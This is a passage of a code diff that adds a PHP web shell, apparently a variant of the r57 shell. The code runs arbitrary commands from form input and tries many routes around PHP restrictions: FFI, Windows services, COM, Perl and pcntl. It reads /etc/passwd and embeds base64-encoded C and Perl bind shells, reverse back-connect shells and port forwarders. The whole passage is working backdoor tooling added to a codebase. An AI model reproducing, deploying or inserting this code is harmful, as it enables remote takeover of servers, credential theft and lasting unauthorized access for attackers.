";
+$table_up3 = "";
+$table_end1 = " ";
+$arrow = " 4 ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+$ts = "";
+$fs = "";
+
+
+if(isset($_GET['users']))
+ {
+ if(!$users=get_users('/etc/passwd')) { echo " ".$lang[$language.'_text96']." "; }
+ else
+ {
+ echo '';
+ foreach($users as $user) { echo $user." "; }
+ echo ' ';
+ }
+ echo " "; die();
+ }
+
+
+if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; }
+if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
+$unix = 0;
+if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
+if(empty($dir))
+ {
+ $os = getenv('OS');
+ if(empty($os)){ $os = @php_uname(); }
+ if(empty($os)){ $os ="-"; $unix=1; }
+ else
+ {
+ if(@eregi("^win",$os)) { $unix = 0; }
+ else { $unix = 1; }
+ }
+ }
+
+
+if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
+ {
+ echo $head;
+
+ if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
+ else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
+ $sr->SearchText(0,0);
+ $res = $sr->GetResultFiles();
+ $found = $sr->GetMatchesCount();
+ $titles = $sr->GetTitles();
+ $r = "";
+ if($found > 0)
+ {
+ $r .= "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= (!$unix)? str_replace("/","\\",$file) : $file;
+ $r .= " TD>";
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ";
+ $r .= "".ws(2).$b." ";
+ $r .= " \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo " ";
+ die();
+ }
+
+
+/*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/
+if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;}
+$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
+if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
+
+
+function ws($i)
+{
+return @str_repeat(" ",$i);
+}
+
+
+function ex($cfe)
+{global $unix,$tempdir;
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(@function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(@function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(@function_exists('system'))
+ {
+ @ob_start();
+ @system('$cfe');
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ if(@function_exists('fread') && @function_exists('feof')){
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ }else if(@function_exists('fgets') && @function_exists('feof')){
+ while(!@feof($f)) { $res .= @fgets($f,1024); }
+ }
+ @pclose($f);
+ }
+ elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
+ {
+ $res = "";
+ if(@function_exists('fread') && @function_exists('feof')){
+ while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
+ }else if(@function_exists('fgets') && @function_exists('feof')){
+ while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
+ }
+ @proc_close($f);
+ }
+ }else{$res = safe_ex($cfe);}
+ return htmlspecialchars($res);
+}
+
+
+
+
+function safe_ex($cfe)
+{global $unix,$tempdir;
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(extension_loaded('perl')){
+ @ob_start();
+ $safeperl=new perl();
+ $safeperl->eval("system('$cfe')");
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(!$unix && extension_loaded('ffi'))
+ {
+ $output=$tempdir.uniqid('NJ');
+ $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
+ if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);}
+ else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);}
+ while(!@file_exists($output))sleep(1);
+ $res=moreread($output);
+ @unlink($output);
+ }
+ elseif(!$unix && extension_loaded('win32service'))
+ {
+ $output=$tempdir.uniqid('NJ');
+ $n_ser=uniqid('NJ');
+ if(!@function_exists('escapeshellarg'))
+ {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));}
+ else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));}
+ @win32_start_service($n_ser);
+ @win32_stop_service($n_ser);
+ @win32_delete_service($n_ser);
+ while(!@file_exists($output))sleep(1);
+ $res=moreread($output);
+ @unlink($output);
+ }
+ elseif(!$unix && extension_loaded("win32std"))
+ {
+ $output=$tempdir.uniqid('NJ');
+ if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
+ else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
+ while(!@file_exists($output))sleep(1);
+ $res=moreread($output);
+ @unlink($output);
+ }
+ elseif(!$unix)
+ {
+ $output=$tempdir.uniqid('NJ');
+ $suntzu = new COM("WScript.Shell");
+ if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
+ else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
+ $res=moreread($output);
+ @unlink($output);
+ }
+ elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork'))
+ {
+ $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
+ $output=$tempdir.uniqid('pcntl');
+ $pid = @pcntl_fork();
+ if ($pid == -1) {
+ $res .= '[-] Could not children fork. Exit';
+ } else if ($pid) {
+ if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
+ else {$res .= '[-] Error. Command incorrect.';}
+ } else {
+ $cfe = array(" -e 'system(\"$cfe > $output\")'");
+ if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
+ if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
+ die();
+ }
+ $res=moreread($output);
+ @unlink($output);
+ }
+/* elseif(1)
+ {
+
+ }
+*/
+ }
+ return htmlspecialchars($res);
+}
+
+
+function get_users($filename)
+{
+ $users = $rows = array();
+ $rows=@explode("\n",moreread($filename));
+ if(!$rows[0]){$rows=@explode("\n",readzlib($filename));}
+ if(!$rows[0]) return 0;
+ foreach ($rows as $string)
+ {
+ $user = @explode(":",trim($string));
+ if(substr($string,0,1)!='#') array_push($users,$user[0]);
+ }
+ return $users;
+}
+function err($n,$txt='')
+{
+echo '';
+echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
+if(!empty($txt)) { echo " $txt"; }
+echo '
';
+return null;
+}
+function perms($mode)
+{
+if (!$GLOBALS['unix']) return 0;
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+function in($type,$name,$size,$value,$checked=0)
+{
+ $ret = " ";
+}
+function which($pr)
+{
+$path = '';
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return false; }
+}
+function ps($pr)
+{global $unix;
+$path = '';
+if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");}
+else{$path = ex("tasklist | findstr \"$pr\"");}
+if(!empty($path)) { return $path; } else { return false; }
+}
+function locate($pr)
+{
+$path = '';
+$path = ex("locate $pr");
+if(!empty($path)) { return $path; } else { return false; }
+}
+function cf($fname,$text)
+{
+ if(!morewrite($fname,@base64_decode($text))){err(0);};
+}
+function sr($l,$t1,$t2)
+ {
+ return "".$t1." ".$t2." ";
+ }
+if (!@function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+ function DirFilesR($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if($types)
+ {
+ if(@in_array($ext,explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ class SearchResult
+ {
+ var $text;
+ var $FilesToSearch;
+ var $ResultFiles;
+ var $FilesTotal;
+ var $MatchesCount;
+ var $FileMatschesCount;
+ var $TimeStart;
+ var $TimeTotal;
+ var $titles;
+ function SearchResult($dir,$text,$filter='')
+ {
+ $dirs = @explode(";",$dir);
+ $this->FilesToSearch = Array();
+ for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ $aa = '';
+ if(($count = @preg_match_all($pattern,$CurString,$aa)))
+ {
+ $CurString = @preg_replace($pattern,"\\1 ",$CurString);
+ $this->ResultFiles[$filename][$a+1] = $CurString;
+ $this->MatchesCount += $count;
+ $this->FileMatchesCount[$filename] += $count;
+ }
+ }
+ }
+ $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
+ }
+ }
+ function getmicrotime()
+ {
+ list($usec,$sec) = @explode(" ",@microtime());
+ return ((float)$usec + (float)$sec);
+ }
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
+A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
+GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
+b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
+pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
+NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
+ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
+ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
+7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
+9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
+2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
+dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
+lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
+$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
+VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
+JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
+TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
+lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
+Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
+Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
+lIENPTk47DQpleGl0IDA7DQp9DQp9";
+$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
+aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
+hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
+sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
+kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
+KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
+OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
+$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
+BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
+SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
+KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
+sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
+Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
+QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
+Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
+x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
+HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
+aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
+lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
+xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
+W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
+LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
+udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
+0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
+iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
+KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
+gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
+hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
+iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
+ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
+vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
+AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
+QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
+ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
+gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
+wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
+29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
+MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
+gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
+5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
+HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
+dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
+KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
+ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
+E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
+Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
+NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
+J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
+CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
+dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
+gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
+lsZSk7DQogIHJldHVybiAwOw0KfQ==";
+$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
+CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
+bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
+gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
